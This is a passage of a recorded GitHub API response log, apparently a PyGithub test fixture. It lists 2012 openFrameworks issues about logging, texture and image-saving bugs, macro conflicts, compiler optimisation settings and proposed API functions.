log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","comments":11,"milestone":null,"number":1033,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","assignee":null,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-04T10:54:12Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3495503,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"this change c50648e29199a3f61eae05f6ceb350a97ab275d7 caused the problem. i'm not sure why adding explicit cases for handling loadData for ofShortPixels and ofFloatPixels would do this. to see the proof, run devApps/AdvancedImageLoading","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1029","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1029,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1029","assignee":null,"title":"display of short + float textures are broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-03T19:04:59Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3491627,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-10T06:54:25Z","body":"I've just encountered a real 'wall meets head' bug, aka 'why is my camera image black??'\r\n\r\nwell it turns out that actually, ofSaveImage doesn't save mono images\r\nit just saves out black pixels\r\n\r\ntesting on Windows, VS2010.\r\nAnybody else getting this?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1028","comments":5,"milestone":null,"number":1028,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1028","assignee":null,"title":"ofSaveImage / ofImage::saveImage() problem with OF_IMAGE_GRAYSCALE / OF_PIXELS_MONO","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-03T12:23:06Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3489266,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-16T09:25:13Z","body":"The Android example is basically a copy of the existing 3dModelBuilder example with some code changes to work with OpenGL ES","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1024","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1024,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1024","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Fixing 3DModelBuilder to work with OpenGL ES, added Android example for it","labels":[],"closed_at":null,"created_at":"2012-03-02T16:55:29Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3479768,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1024","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1024.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1024.diff"}},{"updated_at":"2012-03-30T16:34:06Z","body":"Continuation of http://forum.openframeworks.cc/index.php/topic,9095.msg42378.html#new\r\n\r\nNOTE: Things may have changed as the projects I'm using are all created using the older creation tools.\r\nCan somebody up to date please check?\r\n\r\nCurrently XCode's default project setting is /O2 for debug projects\r\nwhilst Visual Studio's is /O0\r\n\r\n/O0 generally makes the most sense for debug mode as it allows for effective program flow and variable tracking (because with /O2, lines of code and variables are commonly optimised away).\r\n\r\nIf we are worried that this will leave default users in a default 'slower state' then perhaps we could make release the default? Then people could be aware that they are selecting debug when they want to actually do some debugging?\r\nBut this may have other issues (such as some libraries might not perform as many checks as otherwise?)\r\n\r\nit might be worth making users more aware of the 2 options anyway, and then start using them consistently","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1022","comments":12,"milestone":null,"number":1022,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1022","assignee":null,"title":"Optimisation consistency","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-02T13:25:15Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3476540,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T19:42:09Z","body":"currently if MSAA is enabled, COLOR_ATTACHMENT[ 0 -> nSamples]_EXT are bound for MS blitting, which could overwrite your texture color attachments without notifying you [ i.e. setSamples(4); setNumTextures(4) ]. There may be some solution where numSamples*numTextures = maxAttachments, allowing for multisampled internal textures, but at the very least we should warn/notify that samples and textures won't play so nicely together, or try to allocate samples/textures in the remaining attachments and notify on overflow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1019","comments":0,"milestone":null,"number":1019,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1019","assignee":null,"title":"ofFbo needs consideration as far as MRT + MSAA","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-01T19:42:09Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":3462226,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T04:33:36Z","body":"there's a block in ofConstants which reads like:\r\n\r\n```c++\r\n#ifndef PI\r\n\t#define PI 3.14159265358979323846\r\n#endif\r\n\r\n#ifndef TWO_PI\r\n\t#define TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef M_TWO_PI\r\n\t#define M_TWO_PI 6.28318530717958647693\r\n#endif\r\n\r\n#ifndef FOUR_PI\r\n\t#define FOUR_PI 12.56637061435917295385\r\n#endif\r\n\r\n#ifndef HALF_PI\r\n\t#define HALF_PI 1.57079632679489661923\r\n#endif\r\n\r\n#ifndef DEG_TO_RAD\r\n\t#define DEG_TO_RAD (PI/180.0)\r\n#endif\r\n\r\n#ifndef RAD_TO_DEG\r\n\t#define RAD_TO_DEG (180.0/PI)\r\n#endif\r\n\r\n#ifndef MIN\r\n\t#define MIN(x,y) (((x) < (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef MAX\r\n\t#define MAX(x,y) (((x) > (y)) ? (x) : (y))\r\n#endif\r\n\r\n#ifndef CLAMP\r\n\t#define CLAMP(val,min,max) (MAX(MIN(val,max),min))\r\n#endif\r\n\r\n#ifndef ABS\r\n\t#define ABS(x) (((x) < 0) ? -(x) : (x))\r\n#endif\r\n```\r\n\r\nthe problem is i've got this in another header file:\r\n\r\n```c++\r\n// macro-like inline functions\r\n\r\ntemplate\r\ninline T SQR(const T a) {return a*a;}\r\n\r\ntemplate\r\ninline const T &MAX(const T &a, const T &b)\r\n {return b > a ? (b) : (a);}\r\n\r\ninline float MAX(const double &a, const float &b)\r\n {return b > a ? (b) : float(a);}\r\n\r\ninline float MAX(const float &a, const double &b)\r\n {return b > a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline const T &MIN(const T &a, const T &b)\r\n {return b < a ? (b) : (a);}\r\n\r\ninline float MIN(const double &a, const float &b)\r\n {return b < a ? (b) : float(a);}\r\n\r\ninline float MIN(const float &a, const double &b)\r\n {return b < a ? float(b) : (a);}\r\n\r\ntemplate\r\ninline T SIGN(const T &a, const T &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const float &a, const double &b)\r\n\t{return b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a);}\r\n\r\ninline float SIGN(const double &a, const float &b)\r\n\t{return (float)(b >= 0 ? (a >= 0 ? a : -a) : (a >= 0 ? -a : a));}\r\n```\r\n\r\nAnd ofConstants is included in almost every oF file\r\n\r\ni'd suggest moving to inline functions and presume that compiler optimisations makes these 2 options equivalent in terms of performance, but that inline wins out for compatability","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1007","comments":10,"milestone":null,"number":1007,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1007","assignee":null,"title":"bug #defines in ofConstants conflict with other libraries","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-29T15:31:18Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3438233,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-01T13:02:37Z","body":"Propose the following functions:\r\n\r\n```c++\r\nofVec2f ofRandom(const ofVec2f&);\r\nofVec3f ofRandom(const ofVec3f&);\r\nofVec2f ofRandom(const ofVec2f& range1, const ofVec2f& range2);\r\nofVec3f ofRandom(const ofVec3f& range1, const ofVec3f& range2);\r\n```\r\n\r\nalso lots of other candidates for this, e.g. `ofClamp`, `ofMap`, etc\r\nsome clever templating possible?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1005","comments":12,"milestone":null,"number":1005,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1005","assignee":null,"title":"feature ofRandom(ofVec3f) ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-02-29T06:32:03Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3432042,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-18T08:47:08Z","body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1001","comments":2,"milestone":null,"number":1001,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1001","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"OF app sound out not available from Jack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-27T14:59:34Z","state":"open","user":{"url":"https://api.github.com/users/enrike","avatar_url":"https://secure.gravatar.com/avatar/cc2adbc6d91bf2288f34f60a547a82cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cc2adbc6d91bf2288f34f60a547a82cd","login":"enrike","id":710785},"id":3401755,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:42:36Z","body":"// scissor\r\nvoid ofBeginScissor(ofRectangle &r);\r\nvoid ofBeginScissor(ofPoint &p, float w, float h);\r\nvoid ofBeginScissor(float x, float y, float w, float h);\r\nvoid ofEndScissor();\r\n\r\n\r\nthere is a problem with ofFBO due to the flip. I do not think that there is a way around it sooo just scale -1\r\n\r\nalso: \r\nextra ; removed \r\nlibs/openFrameworks/utils/ofUtils.cpp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/993","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":993,"html_url":"https://github.com/openframeworks/openFrameworks/issues/993","assignee":null,"title":"Of scissors","labels":[],"closed_at":null,"created_at":"2012-02-26T21:35:55Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":3393466,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/993","patch_url":"https://github.com/openframeworks/openFrameworks/pull/993.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/993.diff"}},{"updated_at":"2012-02-25T20:25:00Z","body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","comments":0,"milestone":null,"number":987,"html_url":"https://github.com/openframeworks/openFrameworks/issues/987","assignee":null,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-02-25T20:25:00Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3387163,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-22T23:34:17Z","body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","comments":16,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":985,"html_url":"https://github.com/openframeworks/openFrameworks/issues/985","assignee":null,"title":"Make logging messages more informative","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-02-25T19:41:58Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386914,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-11T18:31:55Z","body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","comments":5,"milestone":null,"number":984,"html_url":"https://github.com/openframeworks/openFrameworks/issues/984","assignee":null,"title":"Replace printf() occurences by ofLog() in the core addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-02-25T19:36:51Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3386889,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-27T13:35:34Z","body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","comments":4,"milestone":null,"number":976,"html_url":"https://github.com/openframeworks/openFrameworks/issues/976","assignee":null,"title":"ofVec2f::average has unexpected/clumsy behaviour","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-02-25T03:45:02Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3382990,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:26Z","body":"Dummy issue to ensure that the 0076 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/972","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/10","number":10,"title":"0076 Release","due_on":"2012-10-29T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:26Z","state":"open","description":"","id":88838},"number":972,"html_url":"https://github.com/openframeworks/openFrameworks/issues/972","assignee":null,"title":"0076 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:26Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382766,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-02-25T02:47:37Z","body":"Dummy issue to ensure that the 0075 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/971","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/9","number":9,"title":"0075 Release","due_on":"2012-09-24T07:00:00Z","closed_issues":0,"open_issues":1,"created_at":"2012-02-25T02:46:15Z","state":"open","description":"","id":88837},"number":971,"html_url":"https://github.com/openframeworks/openFrameworks/issues/971","assignee":null,"title":"0075 Release tracking issue","labels":[],"closed_at":null,"created_at":"2012-02-25T02:47:05Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":3382764,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=5 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4939'), ('content-length', '39838'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a7bfe812cbaa85fbb708d70f4d883fac"'), ('date', 'Tue, 29 May 2012 19:27:13 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-25T01:36:58Z","body":"Dummy issue to ensure that the 0080 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/970","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"closed_issues":0,"title":"0080 